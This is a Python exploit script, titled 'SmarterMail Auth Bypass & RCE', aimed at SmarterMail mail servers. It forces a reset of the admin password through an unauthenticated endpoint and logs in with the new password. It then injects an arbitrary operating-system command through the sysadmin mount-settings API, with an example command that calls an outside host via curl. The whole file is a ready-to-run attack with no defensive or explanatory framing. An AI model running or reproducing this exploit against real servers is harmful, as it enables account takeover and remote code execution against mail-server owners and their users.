import argparse import json import requests import sys from logfy import log from typing import Dict, Any def login( username: str, password: str, base_url: str = "", client_id: str = "", timeout: int = 10 ) -> Dict[str, Any]: url = f"{base_url.rstrip('/')}/api/v1/auth/authenticate-user" payload = { "username": username, "password": password, "twoFactorCode": "", "clientId": client_id } headers = { "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8", "Origin": base_url, "Referer": f"{base_url}/interface/root", "Connection": "close" } try: resp = requests.post(url, json=payload, headers=headers, timeout=timeout) resp.raise_for_status() except requests.exceptions.RequestException as exc: # Network / HTTP error raise exc data = resp.json() if not data.get("success", False): # API returned a failure raise ValueError(f"Authentication failed: {data}") return data def exp( token: str, mount_path: str, command_mount: str, base_url: str = "", command_unmount: str = "", use_args: bool = False, timeout: int = 10 ) -> Dict[str, Any]: url = f"{base_url.rstrip('/')}/api/v1/settings/sysadmin/AddOrUpdateMount" payload = { "commandMount": command_mount, "commandUnmount": command_unmount, "useArgumentsInCommand": use_args, "MountPath": mount_path, } headers = { "Accept": "application/json", "Content-Type": "application/json;charset=UTF-8", "Authorization": f"Bearer {token}", "Origin": base_url, "Referer": f"{base_url}/interface/root", "Connection": "close", } resp = requests.post(url, json=payload, headers=headers, timeout=timeout) def reset_password( old_password: str, new_password: str, base_url: str = "", username: str = "admin", timeout: int = 10 ) -> Dict[str, Any]: url = f"{base_url.rstrip('/')}/api/v1/auth/force-reset-password" payload = { "IsSysAdmin": "true", "OldPassword": old_password, "Username": username, "NewPassword": new_password, "ConfirmPassword": new_password, } headers = { "Accept": "application/json", "Content-Type": "application/json", "Origin": base_url, "Referer": f"{base_url}/interface/root", "Connection": "close", } try: resp = requests.post(url, json=payload, headers=headers, timeout=timeout) resp.raise_for_status() except requests.exceptions.RequestException as exc: # Network / HTTP error raise exc data = resp.json() if not data.get("success", False): # API returned a failure raise ValueError(f"Password reset failed: {data}") return data def main() -> None: parser = argparse.ArgumentParser( description="SmarterMail Auth Bypass & RCE" ) parser.add_argument( "--url", required=True, help="Base URL of the SmarterMail server (e.g. http://localhost:17017)", ) parser.add_argument( "--newpass", required=True, help="New password to set", ) parser.add_argument( "--cmd", required=True, help="Command to execute (e.g. 'curl requestrepo.com')", ) parser.add_argument( "--username", default="admin", help="Username to authenticate (default: admin)", ) args = parser.parse_args() base_url = args.url.rstrip("/") username = args.username new_password = args.newpass mount_cmd = args.cmd log.info(f"\n[*] Target: {base_url}") try: reset_res = reset_password( old_password="old_pass", new_password=new_password, base_url=base_url, username=username, ) if reset_res.get("success"): log.success("Password reset succeeded:", reset_res) except Exception as e: log.fail(f"Error resetting password: {e}") sys.exit(1) try: login_res = login( username=username, password=new_password, base_url=base_url, ) if not login_res.get("success", False): log.fail("Login returned unsuccessful status") sys.exit(1) token = login_res["accessToken"] log.success(f"Logged in. Token: {token[:10]}...") except Exception as e: log.fail(f"Error logging in: {e}") sys.exit(1) log.info("Starting to send exploit...") exp(token=token,mount_path="ccc",command_mount=mount_cmd,base_url=base_url,command_unmount="",use_args=False,timeout=10) log.info("Exploit sent successfully.") if __name__ == "__main__": main()